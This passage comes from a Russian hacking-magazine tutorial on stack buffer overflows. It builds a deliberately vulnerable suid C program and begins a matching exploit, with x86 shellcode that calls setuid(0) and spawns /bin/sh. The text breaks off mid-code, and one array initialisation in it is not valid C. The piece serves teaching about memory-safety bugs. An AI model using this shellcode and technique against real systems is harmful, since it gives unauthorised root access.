|
Переполнение буфера в стеке. Шествие второе kas1e Xakep, номер #051, стр. 051-060-4 0xbfffffff - первые 5 байт нули. 0xbffffffa - далее идет имя запускаемого файла. И после этого идут внешние переменные (env). Т.е. мы можем положить шеллкод как внешнюю переменную, отнять от 0xbfffffff четыре нуля, потом длину имени запускаемого файла и длину шеллкода. А потом получить адрес, по которому лежит этот самый шеллкод. Вот как это будет выглядеть: нужный_адрес = 0xbfffffff - 5 - длина_имени_файла - длина_шеллкода Так получается необходимый адрес. И теперь все, что нужно для создания эксплоита: 1. Положить шеллкод как внешнюю переменную. 2. Посчитать расположение шеллкода (т.е. узнать адрес). 3. Запустить файл так, чтобы буфер переполнился любым хламом, и в конце хлама был посчитанный адрес расположения шеллкода. Т.е. буфер переполнится, в eip поместится адрес твоего шеллкода, выполнение, естественно, передастся на этот адрес, и произведутся желаемые действия. И как результат, ты получишь шелл. А чтобы шелл был рутовый, уязвимая программа должна иметь suid-флаг. Рассмотрим это на примере. Для этого напишем уязвимую программу с суид-флагом и эксплоит к ней. Возьмем все тот же пример из первой части статьи: main (int argc, char *argv[]) // будем брать символы с командной строки { char little_buffer[4]; // сделаем буфер на 4 байта strcpy(little_buffer,argv[1]); } /* strcpy является одной из функций, которая не заботится о том, с какими буферами */ /* она работает, т.е. не проверяет размеры копируемых данных */ [bof]# gcc vuln.c -o vuln [bof]# ./vuln aaaaaaaabbbb Segmentation fault Уязвимая программа готова. Поставим ей suid-флаг, чтобы она запускалась с root-привилегиями: [bof]# chmod +s vuln Теперь напишем сам эксплоит. Структуру его написания я рассмотрел чуть выше, но нужно сказать, что мы используем функцию execle, которая является тем же execve, но позволяет запускать файл, используя в качестве аргументов внешние переменные (а это нам и нужно): #include <stdio.h> char shellcode[]= "\x33\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80"; /* int $0x80 */ int main () { // подготовим символьный буфер для внешней переменной, которая является твоим // шеллкодом: char *enva[2] = shellcode; // теперь сделаем символьный буфер твоих переполняющих байт + нашего адреса. Он // равен 12 байтам, т.к. 8 необходимо для переполнения и 9,10,11,12 байты лягут // в eip (как раз наш адрес) char buf[12]; // сделаем некое преобразование типов, чтобы далее было проще с засовыванием // адреса твоего шеллкода в переполняющий буфер int *ap = (int *)(buf); |